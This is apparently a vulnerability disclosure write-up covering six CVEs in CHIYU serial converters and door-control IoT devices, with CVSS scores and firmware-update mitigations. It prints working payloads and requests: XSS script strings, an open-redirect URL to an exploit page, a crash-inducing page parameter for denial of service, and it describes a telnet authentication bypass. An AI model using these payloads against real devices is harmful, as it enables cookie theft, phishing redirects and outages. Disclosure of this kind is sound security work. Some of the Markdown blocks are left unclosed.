## **CVE-2021-31250**

{% hint style="success" %}
**Title:** Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-31250](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31250)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
{% endhint %}

Multiple storage XSS vulnerabilities were discovered on BF-430, BF-431 and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, ppp.cgi.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on several CGI components to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

**Impact:** The attacker places their exploit into the application itself and simply waits for users to encounter it.

## **CVE-2021-31251**

{% hint style="success" %}
**Title:** Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges\
**Vulnerability:** Authentication bypass\
**CVE ID:** [CVE-2021-31251](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31251)\
**SSV-ID**: [SSV-99267](https://www.seebug.org/vuldb/ssvid-99267)\
**CVSS**: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
{% endhint %}

Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.

We can see in the next image the normal workflow with the authentication banner (left-side), and the exploited scenario with the configuration menu (right-side). In detail, when the telnet tries to negotiate the telnet states with the client-side, it fails - at the 4 TCP request - and the IoT device jumps to the next state and believes that the user has already authenticated.

In order to verify if this condition is also present on other devices, a PoC was created and the results can be observed below. On the left side, we can see a lot of devices vulnerable obtained by using the checker, and on the right-side the vulnerability confirmation using the exploit.

**Impact**: Accessing remotely any device bypassing telnet authentication protocol.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability. In this new version, the telnet service was disabled in order to solve this issue.

From vendor website:

{% hint style="info" %}
Regarding CVE-2021-31251, it explains about the CHIYU serial converts & SEMAC door control panel has a security issue.&#x20;

Because the telnet is able to connect with the device.&#x20;

For this reason, CHIYU would like to include below the measures to fix the problem.&#x20;

From now, all of the shipment has the latest firmware.&#x20;

The firmware will close telnet.

if you want to upgrade your converter's firmware, please contact CHIYU for upgrading.&#x20;

## CVE-2021-31252

{% hint style="success" %}
**Title:** Open redirect vulnerability in CHIYU IoT devices\
**Vulnerability:** Open Redirect\
**CVE ID:** [CVE-2021-31252](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31252)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
{% endhint %}

An open redirect vulnerability exists in BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, and SEMAC devices from CHIYU Technology that can be exploited by sending a link that has a specially crafted URL to convince the user to click on it.

To exploit this vulnerability, an attacker can inject an arbitrary URL and convince the end-user to click on the link redirecting it to a page with malicious content. All the CGI components are affected by this flaw.

**Affected parameter:** redirect=\
**Component:** all the CGI components (if.cgi, man.cgi, etc)\
**Payload:** `redirect=http://127.0.0.1/exploit.htm`

**HTTP request**

```
GET /if.cgi?redirect=http://192.168.187.201/exploit.htm&failure=fail.htm&type=serial_apply&S_type=2&S_baud=3&S_userdefine=0&S_data=3&S_parity=0&S_stop=0&S_flowcontrol=0&S_timeout=0&S_length=0&S_delimiter1=00&S_deli_en1=0&S_delimiter2=00&S_deli_en2=0&B_apply=APPLY HTTP/1.1

**HTTP response**

![](/files/-MayeumB_i4mRzRKjt_n)

**Impact:** Open Redirect is due to the improper sanitization of input that can be used to redirect users to external websites.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31641**

{% hint style="success" %}
**Title:** Unauthenticated XSS in several CHIYU IoT devices\
**Vulnerability:** Reflected XSS\
**CVE ID:** [CVE-2021-31641](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31641)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
{% endhint %}

An unauthenticated XSS vulnerability exists in several IoT devices from CHIYU Technology, including BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC. The vulnerability was observed also on more recent firmware versions.

**Component:** any argument passed via URL that results in an HTTP-404\
**Payload:** `http://ip/<script>alert(123)</script>`

**HTTP request**

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

**Impact:** This vulnerability is due to the improper sanitization of input when the HTTP-404 page is presented and that can be abused to redirect users to external websites.

**Mitigation**: The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31642**

{% hint style="success" %}
**Title:** Denial of Service in several CHIYU IoT devices affecting the web-portal\
**Vulnerability:** Integer overflow\
**CVE ID:** [CVE-2021-31642](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31642)\
**CVSS**: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
{% endhint %}

A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.

**Affected parameter:** page=\
**Component: if.cgi**\
**Payload:** `if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000`

**HTTP request**

```

**Impact**: Device crash and web portal unavailable.

**Mitigation**: The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31643**

{% hint style="success" %}
**Title:** Stored XSS in CHIYU SEMAC, BF-630, BF-631, and Webpass IoT devices\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-31643](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31643)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
{% endhint %}

A storage XSS flaw was discovered on SEMAC, Biosense, BF-630, BF-631, and Webpass IoT devices from CHIYU Technology Inc due to a lack of sanitization of the input on the component if.cgi - username parameter.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on the if.cgi component to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

**Affected parameter:** username=\
**Component: if.cgi**\
**Payload:** `"><script>alert(1)</script>`

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

**Impact:**  The attacker places their exploit into the application itself and simply waits for users to encounter it.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.
